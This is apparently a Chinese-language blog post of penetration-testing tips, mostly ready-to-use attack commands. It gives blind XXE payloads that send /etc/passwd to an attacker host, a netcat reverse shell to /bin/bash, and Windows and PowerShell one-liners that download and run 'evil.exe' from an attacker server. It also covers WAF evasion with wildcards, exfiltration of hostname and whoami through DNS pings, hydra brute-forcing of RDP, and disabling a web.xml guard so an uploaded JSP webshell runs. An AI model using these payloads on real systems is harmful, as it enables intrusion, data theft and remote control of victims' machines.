不乱于心,不困于情。
不畏将来,不念过往。如此,安好。

渗透测试中常见的小TIPS总结和整理

记录渗透测试中常见的小Tips。

关于XXE漏洞的一些总结

XXE Payload:

<?xml version="1.0"?>
<!DOCTYPE foo SYSTEM "http://attacker_ip:port/xxe.dtd">
<foo>&e1;</foo>

xxe.dtd:

  • File Exfiltration over HTTP:
<!ENTITY % p1 SYSTEM "file:///etc/passwd">
<!ENTITY % p2 "<!ENTITY e1 SYSTEM 'http://attacker_ip:port/res?%p1;'>">
%p2;
  • File Exfiltration over FTP:
<!ENTITY % p1 SYSTEM "file:///etc/passwd">
<!ENTITY % p2 "<!ENTITY e1 SYSTEM 'ftp://attacker_ip:port/%p1;'>">
%p2;

利用工具:

  • xxe-ftp-server.rb
  • XXEinjector
  • XXESERV – A mini webserver with FTP support for XXE payloads
  • OXML_XXE – A tool for embedding XXE/XML exploits into different filetypes, e.g. DOCX/XLSX/PPTX/XML/PDF/JPG/GIF/SVG/ODT, etc.
    • docker pull avfisherdocker/oxml_xxe:test
    • docker run -d -p 80:4567 avfisherdocker/oxml_xxe:test

一些Demo或者利用环境:

  • https://github.com/vulhub/vulhub/tree/master/solr/CVE-2017-12629-XXE
  • https://pentesterlab.com/exercises/play_xxe
  • https://pentesterlab.com/exercises/play_xxe/course
  • https://github.com/c0ny1/xxe-lab

常见的修复方案:

  • https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html

参考:

  • https://blog.zsec.uk/blind-xxe-learning/
  • https://blog.zsec.uk/out-of-band-xxe-2/
  • http://lab.onsec.ru/2014/06/xxe-oob-exploitation-at-java-17.html
  • Full Disclosure: XXE in WeChat Pay Sdk ( WeChat leave a backdoor on merchant websites)

一键部署Empire

  • 安装docker在你的Linux VPS或者Mac主机上
  • 修改~/.bashrc文件添加如下alias:
# Empire docker command
alias empire_start='docker exec -it $(docker run -d -p 80:80 empireproject/empire) python2.7 empire'
alias empire_stop='docker kill $(docker ps | grep empire | cut -d " " -f 1)'
  • 运行如下命令使我们添加的alias生效:
source ~/.bashrc
  • 执行以下命令开启或者结束empire容器:
    • empire_start: 开启empire容器
    • empire_stop: 结束并销毁empire容器

Linux反弹Shell小技巧

很多时候,当我们找到了目标Linux系统上的RCE漏洞并需要利用系统自带netcat来反弹shell时,会遇到没有-e参数的尴尬局面,这里分享一个解决这个问题的小技巧。

我们知道大部分Linux自带的netcat都是不带-e参数的netcat(例如:Ubuntu上的nc.openbsd),如果目标机器可以访问外网的话,我们可以先利用远程代码执行漏洞在目标机器上安装带-e参数的nc.traditional,以下以Ubuntu为例:

apt-get install netcat-traditional -y

然后再执行以下命令即可成功反弹shell:

nc.traditional -nv [listener ip] [listener port] -e /bin/bash

注:对于Centos/RHEL,可以直接使用以下命令安装自带-e参数的netcat:

yum install nc -y

Window与Linux的提权指南

  • Windows:http://www.sploitspren.com/2018-01-26-Windows-Privilege-Escalation-Guide/
  • Linux:https://blog.g0tmi1k.com/2011/08/basic-linux-privilege-escalation/

Windows命令执行漏洞利用方式

原文链接:https://evi1cg.me/archives/remote_exec.html

利用IE缓存来达到PE文件下载和执行:

start iexplore.exe http://<attacker ip>/evil-pe.jpg & ping localhost -n 5 & taskkill /f /im iexplore.exe & for /f "delims=" %a in ('dir c:\*evil-pe[1].jpg /s /b') do (cmd.exe /c "%a" & del "%a")

Living Off The Land Binaries and Scripts (and also Libraries)

原文链接:https://lolbas-project.github.io/#

Github: https://github.com/LOLBAS-Project/LOLBAS

WAF绕过小技巧

原文链接:https://medium.com/secjuice/waf-evasion-techniques-718026d693d8

IP地址转换工具:http://www.smartconversion.com/unit_conversion/IP_Address_Converter.aspx

主要思路:

  • Linux下利用通配符?和*,来替换具体的字母,例如:
/bin/ls 等价于 /???/?s
/bin/cat /etc/passwd 等价于 /???/??t /???/??ss??
/bin/nc 127.0.0.1 1337 等价于 /???/n? 2130706433 1337
  • 将IPv4地址转化为long类型,如:
127.0.0.1 等价于 2130706433

PowerShell在内网渗透中的利用

工具:

  • https://github.com/samratashok/nishang

无回显命令执行探测

工具:

  • https://canarytokens.org/generate
  • http://ceye.io/record/index

Linux:

ping `hostname`.avfisher.win
ping `id`.avfisher.win
ping $(whoami).avfisher.win

Windows:

cmd /c for /f %x in ('hostname') do ping -n 1 %x.avfisher.win
cmd /c for /f %x in ('whoami') do ping -n 1 %x.avfisher.win
ping %USERNAME%.avfisher.win -n 1

暴力破解

工具收集:hydra:3389爆破命令:hydra -l login -P password.txt 192.xxx.xxx.xxx rdp 其中login是指用户名,password.txt是指密码字典, 192.xxx.xxx.xx是指服务器IP地址

批量下载

wget是linux下命令行的下载工具,功能很强大,虽然我很少用,一般下在一些小东西都是直接用firefox,seamonkey这些浏览器自带的下载功能下载,没有必要用wget或者其他下载工具。但是某些时候却不是浏览器自带的下载功能和一些其他的下载软件所能做的的,这时候就得用wget了。比如如果你想下载一个网页目录下的所有文件,如何做呢?

先介绍几个参数:-c 断点续传(备注:使用断点续传要求服务器支持断点续传),-r 递归下载(目录下的所有文件,包括子目录),-np 递归下载不搜索上层目录,-k 把绝对链接转为相对链接,这样下载之后的网页方便浏览。-L 递归时不进入其他主机,-p 下载网页所需要的所有文件。
比如:#wget -c -r -np -k -L -p http://www.kuqin.com/itman/liyanhong/

PowerShell文件下载

PowerShell 是一种winodws原生的脚本语言,对于熟练使用它的人来说,可以实现很多复杂的功能。

在windows 2003之中默认支持这种脚本。

下面这两条指令实现了从Internet网络下载一个文件。

$p = New-Object System.Net.WebClient
$p.DownloadFile("http://domain/file" "C:\%homepath%\file")

下面这条指令是执行一个文件

PS C:\> .\test.ps1

有的时候PowerShell的执行权限会被关闭,需要使用如下的语句打开。

C:\>powershell set-executionpolicy unrestricted

一条利用PowerShell下载文件并执行的命令:

cmd /c powershell (New-Object System.Net.WebClient).DownloadFile('http://<ip>/<file>','evil.exe');&evil.exe

在命令行下利用PowerShell下载文件:

echo $storageDir=$pwd > wget.ps1
echo $webclient=New-Object System.Net.WebClient >>wget.ps1
echo $url="http://remote_ip/evil.exe" >>wget.ps1
echo $file="new-exploit.exe" >>wget.ps1
echo $webclient.DownloadFile($url,$file) >>wget.ps1
powershell.exe -ExecutionPolicy Bypass -NoLogo -NonInteractive -NoProfile -File wget.ps1

BITSAdmin文件下载

BITSAdmin是windows自带的一个用于下载和上传文件的命令行工具,详细描述参见:https://msdn.microsoft.com/en-us/library/windows/desktop/aa362813%28v=vs.85%29.aspx

我们可以使用下面的命令来实现文件下载:

bitsadmin /transfer myDownloadJob /download /priority normal http://downloadsrv/10mb.zip c:mb.zip

下面是一个基于BITSAdmin的文件下载的shell脚本:

@ECHO OFF
:: NAME
::	Bits-Download.cmd
::
:: SYNOPSIS
::	Downloads a remote file with BITS.
::
:: SYNTAX
::	Bits-Download remote_url local_name
::
:: DETAILED DESCRIPTION
::	The Bits-Download.cmd batch file uses BITS to download
::	the given remote file. Bits-Download.cmd requires the
::	BITS Admin Utility Bitsadmin.exe.
::
:: NOTES
::	Bits-Download.cmd was developed and tested on Windows Vista.
::
:: AUTHOR
::	Frank-Peter Schultze
::
:: DATE
::	00:18 21.07.2008

SETLOCAL

	IF "%2"=="" (
		TYPE "%~f0" | findstr.exe /R "^::"
		GOTO :END
	)

	SET bits_job=bits%RANDOM%

	SET remote_url="%~1"
	IF NOT DEFINED remote_url (
		ECHO %~n0 : Cannot bind argument to parameter 'remote_url' because it is empty.
		GOTO :END
	)

	SET local_name="%~2"
	IF NOT DEFINED local_name (
		ECHO %~n0 : Cannot bind argument to parameter 'local_name' because it is empty.
		GOTO :END
	)

	(SET /P remote_user=User name ^(leave empty if not required^): )
	IF DEFINED remote_user (SET /P remote_pass=Password: )

	bitsadmin.exe /CREATE /DOWNLOAD %bits_job%

	bitsadmin.exe /ADDFILE %bits_job% %remote_url% %local_name%

	bitsadmin.exe /SETNOTIFYCMDLINE %bits_job% "%SystemRoot%\system32\bitsadmin.exe" "%SystemRoot%\system32\bitsadmin.exe /COMPLETE %bits_job%"

	IF DEFINED remote_user IF DEFINED remote_pass (
		bitsadmin.exe /SETCREDENTIALS %bits_job% SERVER BASIC %remote_user% %remote_pass%
	)

	bitsadmin.exe /RESUME %bits_job%

:END
ENDLOCAL

保存代码为Bits-Download.cmd, 使用方法:Bits-Download [remote_url] [local_name]

参考链接:http://www.out-web.net/?p=151

Jenkins Hacking多种利用方式

  • https://www.secpulse.com/archives/2166.html
  • https://xz.aliyun.com/t/3021
  • https://www.crowdstrike.com/blog/your-jenkins-belongs-to-us-now-abusing-continuous-integration-systems/

JSP webshell执行403错误

上传了JSP的webshell成功后不能被执行,比如报403错误。通常这类报错是因为web.xml设置了禁止直接访问JSP文件,比如下面是struts2的中的默认web.xml的配置:

<?xml version="1.0" encoding="UTF-8"?>
<web-app id="WebApp_9" version="2.4" xmlns="http://java.sun.com/xml/ns/j2ee"
         xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
         xsi:schemaLocation="http://java.sun.com/xml/ns/j2ee http://java.sun.com/xml/ns/j2ee/web-app_2_4.xsd">

    <display-name>Struts Blank</display-name>

    <filter>
        <filter-name>struts2</filter-name>
        <filter-class>org.apache.struts2.dispatcher.ng.filter.StrutsPrepareAndExecuteFilter</filter-class>
    </filter>

    <filter-mapping>
        <filter-name>struts2</filter-name>
        <url-pattern>/*</url-pattern>
    </filter-mapping>

    <welcome-file-list>
        <welcome-file>index.html</welcome-file>
    </welcome-file-list>

    <!-- Restricts access to pure JSP files - access available only via Struts action -->
    <security-constraint>
        <display-name>No direct JSP access</display-name>
        <web-resource-collection>
            <web-resource-name>No-JSP</web-resource-name>
            <url-pattern>*.jsp</url-pattern>
        </web-resource-collection>
        <auth-constraint>
            <role-name>no-users</role-name>
        </auth-constraint>
    </security-constraint>

    <security-role>
        <description>Don't assign users to this role</description>
        <role-name>no-users</role-name>
    </security-role>

</web-app>

解决方法是:注释或者删除web.xml中的以下防护配置

    <!-- Restricts access to pure JSP files - access available only via Struts action -->
    <security-constraint>
        <display-name>No direct JSP access</display-name>
        <web-resource-collection>
            <web-resource-name>No-JSP</web-resource-name>
            <url-pattern>*.jsp</url-pattern>
        </web-resource-collection>
        <auth-constraint>
            <role-name>no-users</role-name>
        </auth-constraint>
    </security-constraint>

转自:乌云安全

赞(0) 打赏
未经允许不得转载:seo优化_前端开发_渗透技术 » 渗透测试中常见的小TIPS总结和整理

觉得文章有用就打赏一下文章作者

支付宝扫一扫打赏

微信扫一扫打赏